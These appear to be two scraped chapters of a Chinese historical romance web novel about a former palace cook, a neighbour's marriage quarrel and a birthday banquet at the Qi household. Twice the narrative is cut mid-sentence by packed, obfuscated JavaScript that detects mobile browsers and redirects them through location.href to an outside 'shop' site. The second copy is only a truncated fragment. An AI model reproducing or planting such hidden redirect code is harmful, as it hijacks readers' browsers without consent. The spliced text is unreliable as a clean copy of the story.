韩老娘闻讯，简直是喜从天降！自家儿子若真能攀官家的闺女，那便是鲤鱼跃了龙门！她本就嫌乔家是卖豆腐的，门户低微，如今有了这等好亲事，哪里还肯让儿子娶巧姑？ 于是便逼着韩松去乔家退亲。 韩松自然不肯，他与巧姑多年情分，且觉赵家小姐不过是惊鸿一瞥，并无深交，怎比得上知根知底的巧姑？母子二人为此争执数日，韩老娘使尽浑身解数，一哭二闹三上吊，定要儿子应下赵家婚事。 “……如今巷子里都传遍了，”团娘道，“都说韩郎君可怜，夹在中间两头为难。那巧姑姐姐真是温婉和气的人，韩老娘这样折腾，她心里不定多苦呢。” 李怀珠就着水盆淡定洗手。 团娘托着腮说，“韩郎君和巧姑姐姐感情那么好……若不在一起也太可惜了。” 李怀珠想起前世，在网络新闻里看过太多类似的“爱情与现实的拉锯战”……校园情侣因毕业去向分道扬镳，恋爱长跑因彩礼房子一拍两散，更不乏那些看似坚贞无比，最终却在家庭压力下妥协的例子。 “真情自然是在的……”李怀珠笑容颇有些复杂，“可惜成亲从来不只是两个人的事。” 团娘不解：“两个人若心在一处，旁人的话有什么紧要……” 这话胆子可就太大了，李怀珠轻轻戳她额头—— “你当‘旁人’是谁？那是生养他的亲娘。韩老娘守寡多年，一心盼儿子光耀门楣。在她眼里，娶了官家小姐，儿子前程似锦、韩家翻身有望，那就是天大的好事，若执意娶巧姑便是自毁前程，还可能落个不识抬举的名声。这种事情日夜在耳边念叨，甚至以性命相挟，韩郎君一个书生，能扛多久？” “再说，那郎君还要科举，要入仕。若真惹怒了赵指挥，虽说文武不同途，但官场之上，谁没个三亲六故？暗中使个绊子，只怕他前途艰难。这‘真情’的代价，他现在认，以后还会认么？” 大多数的人是经不起考验的，代价多了就生怨恨，怨恨一生夫妻便离心……李怀珠甚至还觉得，但凡韩郎君以后不顺利，没准还会把这些破事怪罪到巧姑身上，何苦来哉！ 团娘听得怔住，她没想过这么多弯弯绕绕，“那赵家小姐就非韩郎君不可？” “赵家小姐如何想我们不知。”李怀珠道，“但赵家既透出结亲意思，面子已经摆在那里。韩家若不应，便是打了赵家的脸。七品官家或许不算顶显赫，但在寻常百姓眼里已是了不得的门第。‘面子’‘里子’一计较，孰轻孰重谁都算的过来。” 韩老娘苦了这么多年，自然非常重视阶层跃升的机会，这种心态再正常不过。 “所以啊，”李怀珠轻轻揪着团娘的小脸儿，难得认真地说，“这事难，很难。不是有情饮水饱的故事。婚姻是结两姓之好，背后是两个家庭家境、门第、前程、人情的权衡。韩郎君和巧姑的情分是真，可摆在眼前实实在在的利与弊，压力与未来也是真。” 团娘秀气的眉毛拧在一起，似懂非懂点点头。 “那娘子觉得，最后会怎样？” 李怀珠摇摇头：“我也不知道。或许韩官人最终扛不住母亲的压力，依从了，又或许他真能为了巧姑豁出去，但往后日子怕也少不得磕绊——” 她话音未落，虚掩的木门忽然被叩响，紧接着被人推开了一条缝隙。 李怀珠和团娘同时望去，只见两道身影已立在门口。 为首的人是多日未见的祁檀，身侧还站着一位陌生郎君，约莫二十四五，身着赭石锦袍，容貌十分硬挺，身高很是赫人，一双狭长双眸带着似笑非笑的佻达。 脑子里闪过那盏琉璃灯，李怀珠一怔，不知刚才那些话他们听见了多少。 团娘吓了一跳，看看两位郎君，又看向李怀珠。 “祁大人？”李怀珠有些意外，忙迎上前两步，福了一礼。 祁檀拱手还礼，笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010452|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“路过巷口，见招牌摘了，里头动静不小，想着娘子定是在修缮，便冒昧过来瞧瞧。”他侧身介绍身旁友人，“这位是陈衍，陈子实，在殿前司供职，也是我的好友。” 陈衍上前叉手行礼，“李娘子久仰，常听祁兄提起娘子手艺了得，今日路过，特来叨扰。” “陈大人。”李怀珠还礼，心下却有些嘀咕——殿前司？那可是禁军精锐，天子亲卫。祁檀带这样一位好友来她这，是有什么事？ 团娘搬来长凳请二人坐下，又倒了茶来。 祁檀接过茶盏，却也不说什么事，只是赞道：“娘子生意越做越红火，可喜可贺。” 李怀珠笑了笑，“承您吉言，不过是想地方宽绰些，客人们坐着也舒服。” 陈衍抿了口茶，眼睛却好奇地打量了眼李怀珠，仿佛早已知道许多内情，笑道：“娘子过谦了。这汴京城里，谁不知榆林巷李记鸡鸭一绝？便是我们这些在营里当值的粗汉，也听同僚念叨过好几回。祁兄更是……” 他话锋一顿，瞥了祁檀一眼，意味深长地住了口。 祁檀轻咳一声，接过话来：“子实说得不错。祖母前几日还念叨，说李记的酥酪消暑，这几日歇业，老人家倒有些惦记了。” 来者不说来意，李怀珠也跟着打太极：“老夫人喜欢，是儿的荣幸。只是这几日动工，庖厨都乱了，不便制作吃食。待收拾妥当了，定当第一时间做了给老夫人送去。” “不急。”祁檀道，“修缮铺子是大事，娘子且先忙妥这边。我今日来除了看看，其实还有一事相商。” 祁檀道：“这月初九，是家祖母七十寿辰。老人家不喜大操大办，只打算在府中设个家宴，请些亲近的亲朋故旧小聚。祖母素来喜爱娘子手艺，所以……” “不知娘子届时可否拨冗，过府专司寿宴？一应食材、人手，府中都会备齐，娘子只需调度即可。” 这明明是场再寻常不过的交涉，可经过赠灯一事，听在李怀珠耳朵里，却有些微妙的意味，好像祁檀不仅仅是找一位好厨下为祖母贺寿，更像是一个邀请，一个台阶——你不是说结亲要看两家么？那便先从我的家人，我的家开始看看，如何？ 他果然听到了她那番结亲的高谈吧？ “……原来如此。” 李怀珠皱着眉微微一笑，有被人看穿心思的微恼，也有对他如此直白回应的讶异。 一旁的团娘也咂摸出味道来了，眼睛瞪得圆圆的。 实话说，李怀珠对祁檀印象不坏，甚至可以说很好—— 祁檀为人爽朗周到，多次相助，家世清贵却无纨绔之气，容貌气度皆是上乘，这样一个郎君对她有意，若说完全无动于衷，那是假话……但转念一想，自己是不是想太多了？ 或许人家真的只想请她为祖母尽孝心？况且给这样的大户专司一场寿宴，酬劳定然丰厚，若做得好，还为将来聚拢些人气…… 这是一笔划算的买卖，于情于理，似乎都没有拒绝的理由。 那就……先应下呗？ 李怀珠展颜，笑着说，“承蒙老夫人和祁大人看得起，这是儿的福气，儿定当准时过府，尽力让老夫人和诸位宾朋尽兴。” 见她应得爽快，祁檀眼中笑意渐渐漫开，和煦道：“那便说定了。具体事宜，翌日我让府里管家来与娘子细商……况且家宴而已，娘子不必过于紧张，自在便好。” 眉眼弯弯，李怀珠矜持一垂首，“多谢郎君宽宥。” 一旁的陈衍看着郎才女貌的二人，脸上表情几乎要藏不住，端起茶盏，借着饮茶掩去了眸中促狭。 31. 第 31 章 祁府管家姓钱，瞧着四十来岁年纪，面皮白净，留着一缕文士须。 “李娘子，这边请。”他侧身引路，走的竟是正门。 李怀珠脚步微顿，她虽没进过这等高门，规矩却是懂的，外聘的厨下按惯例该走西角门或后门才是。 周管家似是瞧出她的疑惑，温笑道：“郎君特意吩咐，您是贵客，又是头一回来，当从正门入。” 行吧，主人家抬举，她也不好扭捏……就走吧。 一进大门，迎面是一片开阔庭院，歇山顶覆青瓦，庭院两侧游廊通向东西跨院，廊下挂着几架细竹帘，风过时微微晃动，露出后面隐约的花木。 “府邸去岁略加修缮过，”周管家边走边介绍，“正堂是老夫人起居的庆寿堂，后头还有个小园子，虽比不上金明池，倒也勉强能看。” 走过门厅，穿过垂花门，是一片精心打理过的花园。 时值夏末秋初，园中花木仍见繁盛清香隐隐，李怀珠边走边看，心下赞叹……又恨不知自己什么时候才能住上院子，最好是皇城根脚下三进的，种花栽树的大院子，也好养几条胖鲤鱼、几颗秋桂苗！ 绕过花园，又经过两进院落，才到了后厨所在的区域。 祁府的厨房比她想象中更大，又分了内外，外间是日常府中膳食的灶间，里间则更宽敞洁净，各类厨具一应俱全，看来是专为筹备寿宴腾出来的地方。 “李娘子看看，此处可还合用？缺什么少什么，只管吩咐。” 李怀珠仔细看了一圈，“劳管家费心安排。” “娘子客气。”管家接着便主动提起，“寿宴在即，娘子想必需要知晓府中各位主子的口味忌讳，便与娘子细说一二。” 李怀珠正有此意，“正要请教管家。” 管家娓娓道来，说得竟十分详尽。 “府里如今最长辈的，便是今日做寿的老夫人，老夫人平日念佛，但并不忌荤腥，只是年纪大了，口味偏软烂清淡些，尤爱些汤水滋润的菜式。大房这边，大老爷走得早，大夫人常年在外为老爷祈福，极少回府。故而咱们檀哥儿，是老夫人一手带大的。哥儿不挑食，只是自幼跟在老夫人身边，口味也偏清爽，不嗜过甜过咸。” “二老爷家人丁最是兴旺，算上各位少爷姑娘拢共八口。几位少爷年轻，姑娘们则更爱些精巧的点心、甜汤。” “三老爷才新入京的，并夫人与一双儿女，二姑娘口味挑剔些，爱时鲜果子入菜，小郎君年纪小，贪嘴，尤爱肉食。” 李怀珠一边听，一边心下却有些诧异。 这管家也忒实诚了些，该说的不该说的几乎一股脑儿全倒给了她这个外人……不过，这确实也是个大家族了，老夫人能维持到现在，三房入京还愿并府合住也是不易，应当是个宽容大度的老人家，毕竟老话说——不痴不聋不做家翁啊…… “多谢管家告知，儿省得了。” 钱顺微微笑道：“娘子明白就好。食材采买单子已按娘子之前的要求备下，稍后便送来请娘子过目。若还有什么需要，随时唤人。” 正说着，外头传来一道清朗嗓音：“顺叔，李娘子可到了？” 话音未落，人已出现在厨房门口。 祁檀一身宝蓝直裰，腰间系着同色丝绦，神色清爽俊朗，许是回了自家，神色比往时更松快。 钱顺连忙躬身：“郎君来了。李娘子刚到，正说着话呢。” 祁檀迈步进来，眼神先落在李怀珠身上，“……娘子路上可还顺利？” “很顺利，多谢祁大人关心。”李怀珠福身。 “在自家，不必如此多礼。”祁檀虚扶一下，转而看向钱顺，“顺叔，这边可看过了？若看过了，便请娘子去花廊子逛逛，我亲自送娘子出门。” 钱顺应了，对李怀珠做了个“请”的手势。 李怀珠自然从善如流。 三人又沿着来路往回走，这次却不再经过正径，而是沿着一条偏廊避开了府内的小鬟，廊外种了几丛翠竹，凤尾森森，竹影映在廊柱和地面上，随者风轻轻摇曳。 祁檀与她并肩而行，闲聊道：“娘子来的不巧，这园子实则秋日景致最好——祖母最爱坐在那边的亭子里，闻着桂香，听我们兄弟读书。” 李怀珠顺着他示意的方向望去，只见竹林掩映间的一角朱红亭檐，想象着那画面，不禁莞尔：“老夫人雅致。‘桂子月中落，天香云外飘’①，此情此景确是人间难得了。” 祁檀侧目看她，“娘子好才思。祖母若听得娘子此言，定然欢喜。” 两人说着话，游廊曲折，光影在他们身上明明灭灭，偶尔视线相触，又各自含笑移开。 正说笑间，忽见一个小厮气喘吁吁地从另一头廊下跑来。 “郎君！可找到您了！出、出事了！” 祁檀眉头微蹙：“何事慌张？” 小厮苦着脸道：“是、是您预备送给老夫人的那尊白玉寿星……方才小少爷在库房那边玩耍，不知怎的给碰倒了，摔、摔裂了道缝！” 祁檀脸色一沉，那尊玉雕是他费心寻来的寿礼，想来能得祖母喜爱，如今竟在寿辰前摔坏了，实在不祥，也扫兴得很。 “三弟现在何处？”祁檀语气微冷。 “小少爷已被三夫人带回去训斥了，正哭着呢。”小厮觑着祁檀脸色，道，“三夫人让小的来禀报郎君，说定然好生管教，只是……只是眼下这寿礼……” 祁檀揉了揉眉心——孩子顽劣，打骂也无济于事，可寿礼却实在麻烦，临时再寻一件谈何容易？ 李怀珠在一旁听着，见祁檀神色不豫，轻声开口，“祁大人，可是为寿礼之事烦心？” 祁檀看向她，点了点头，“让娘子见笑了。本是件小事，只是那摆件得来不易，骤然损坏，怕祖母她老人家失望。” 李怀珠微微一笑，“说来也巧，儿想为老夫人准备的正菜，有道名为‘福寿全’规格颇巨，若郎君不嫌弃，不如便将其也作为寿礼之一，或许能弥补些许遗憾。” 祁檀听完，深看了李怀珠一眼，眉间郁色如春风而过，倒有些笑意了。 “好一个‘借花献佛’……那便拜托娘子了。” - 从祁府回来，已是申时末刻。 李怀珠没直接回榆林巷，倒拐去了书肆买了新纸笔。 寿宴，尤其是高门大户给长辈办的寿宴，规矩多，讲究更多。 这时的宴会多承唐制遗风，讲究的是“看菜”与“下酒”的区分。 所谓“看菜”，是摆着好看、彰显排场的，如“雕花蜜煎”、“砌香果子”之类，工艺繁复，色彩艳丽，意在观赏，而“下酒”才是真正入口的肴馔，热菜、羹汤、面点，一样都不能少。 席面规格，常以“碗”或“盏”计，寻常富户待客，八碗八碟已算体面，官宦人家，十二盏、十六盏是常态，若是公侯府邸宴请贵客，二十四道、乃至三十六道的大席面也不稀奇，又有开席“绣花高饤八果垒”，收尾“劝酒果子库十番”，中间各色“插食”、“劝酒”……流程跟看戏似的②。 李怀珠在尚食局经手过不少宴单，对此自是门清，但宫宴规制森严，反倒不如民间灵活变通。 由此便为祁老夫人定了十二道主菜、四道汤羹、四样点心的“十六盏”席面。 看菜，便订了雕花金橘、蜜渍银杏、酥油泡螺、珑缠果子几样，都是汴京各大酒楼常见的看盘，做出来精致好看，摆着有面子。 下酒嘛……老夫人喜清淡软烂，头一道须得温润滋养，便定了鸡髓笋，取春笋嫩尖，以老母鸡骨髓同煨，宫中的老太妃时常进用，是道不出错的菜色。 热菜须得荤素搭配，有浓有淡，‘蟹酿橙’正当季，‘莲房鱼包’清雅别致；‘虾肉豆腐羹’、‘火腿煨菘菜’这类家常味也不能少，还有什么什么花炊鹌子、荔枝白腰、奶房玉蕊羹③…… 团娘已经听晕了，只觉每道菜都好吃得不得了，托着腮看李怀珠写字。 恒奴忍不住开口：“东家，这单子是不是太铺张了些？” 李怀珠停下笔，并不在意，“放心，这些菜色只是看着名贵——最重要的是压轴大菜，主人家要做寿礼用的，才是真正费料费工的。” “压轴菜？”团娘好奇，“比叫花鸡和烤鸭还厉害吗？” “那怎么能比？”李怀珠笑道，“需得不下二十种主料，不乏天上飞的，地上跑的，水里游的，还要配上等绍酒，以荷叶密封坛口，文火慢煨数个时辰……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018667|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 恒奴嘴角抽动，“那这……这哪里是菜？”这分明是堆金山银山！这得花多少钱？耗时多久？就为了一道菜？ 李怀珠托着腮，悠悠的调子。 “菜色是繁复了些，却也是一番心意……” ……要说起铺张奢靡，红楼‘茄鲞’④了解一下？ - 前几日李怀珠便开始在祁家“培训”。 说是培训，其实更像是同行切磋分享，顺口讲些省时省力的小窍门。 “洗菘菜时，水里略撒些盐，菜虫自己就浮出来了，省得一眼眼去挑。” “切羊肉丝，可以逆着纹理下刀，炒出来嫩滑不柴。” “蒸鱼时，在鱼身下垫两根筷子，蒸气流通熟得均匀，也不易粘盘。” 起初，祁家积年的厨娘还有些好奇，小娘子瞧着年轻，颜色又这般出挑，能有多深的手艺？ 可看了半天，见她手上功夫利落，许多菜色经她一点拨，做出来的滋味当真不同。 譬如那日做“肉饼蒸蛋”，李怀珠让张娘子在肉糜里添了一勺高汤，又打了颗鸡子清进去，同方向搅打上劲。 蒸好后揭开笼盖，果然，肉饼颤巍巍，蛋羹滑嫩嫩，肉香蛋鲜融合，汁水又丰盈，掌勺尝了连连点头：“是了是了！往日咱们只晓得肉要剁细，却不知‘上劲’，多这一道功夫，滋味大不同！” 一来二去，众人私下里免不了议论。 “难怪是宫里出来的娘子，是真有本事！” “听说前些日子大相国寺的浴佛节素宴，也是这位操办的？” “何止！泰安伯爷都为这小娘子写过文章……啧啧，了不得！” “可惜了，这般人才，竟被……” “嘘——莫提那茬。听说里头弯弯绕绕多，出来了说不定是福分呢！” 这些议论偶尔飘进李怀珠耳朵，也只当没听见，该干嘛干嘛，有时候兴致来了，还会将宫里一些不犯忌讳的点心，略作改动教给大家，比如把“玉露团”简化成更易上手的“椰香糕”，用椰浆替代昂贵的牛乳，很受娘子们欢迎。 祁二姑娘便是这时候来的。 那日听说表兄为着祖母寿辰，特意请了外厨，消息传到耳中，她便觉得不对——怕不是请人，是请“她”吧。 叫人悄悄去打听，一说，果然是这么回事，又听婢子绘声绘色说表公子与李氏在园里边走边聊，直听得心头火起，径自往庖厨来了。 她到的时候，李怀珠正教厨娘如何做“响油胡瓜”。 府里上下皆知这位二姑娘性子骄纵，此刻见她忽然驾临，皆屏息敛声低下头去。 “李娘子真是好兴致。”祁二姑娘开口就是似笑非笑，“这庖厨之地，油烟污浊，难为你这般用心。” 李怀珠也笑，道：“二姑娘安好。庖厨虽烟火重，可孔圣人尚云‘食不厌精，脍不厌细’，老太太寿辰在即，饮食小事亦不敢马虎。” 祁二被她噎了一下，往前踱了半步，“李娘子不愧是宫里出来的，道理我是说不过的。只是听说宫里规矩大，最重‘安分守己’。有些不该惦记的，还是早早歇了心思才好，你说是不是？” 厨娘们头垂得更低，李怀珠心里叹了口气。 她本无意与小姑娘起冲突，可话说到这份上，不回几句倒显得她软柿子了。 李怀珠抬眼，微笑道：“二姑娘说得是。可尺有所短，寸有所长，真有本事的人若遇见识货的，也算不得不安分。譬如良马须遇伯乐，再好的砚在樵夫手里也只是顽石……可见有些人非得有慧眼的人，才认得出来。” “只可惜世间多有眼盲心浊之辈，错把珠玉当瓦砾，还自以为明察秋毫呢。” 祁二姑娘愣在原地，眨着眼，过了好一会儿脸上才一阵红一阵白，指着李怀珠：“你、你竟敢……”却“你”不出个所以然来，最终一跺脚，绞着帕子，扭身走了。 李怀珠目送那背影远去，难得绷了下脸。熊孩子啊…… 转过头拍了拍手，也没将这件事放在心上，笑道：“这胡瓜片待会儿记得用冰水镇一下，入口才爽脆。” 众人这才悄悄舒了口气，心道这位李娘子当真了不得—— 不仅会做菜，骂人还不带脏字！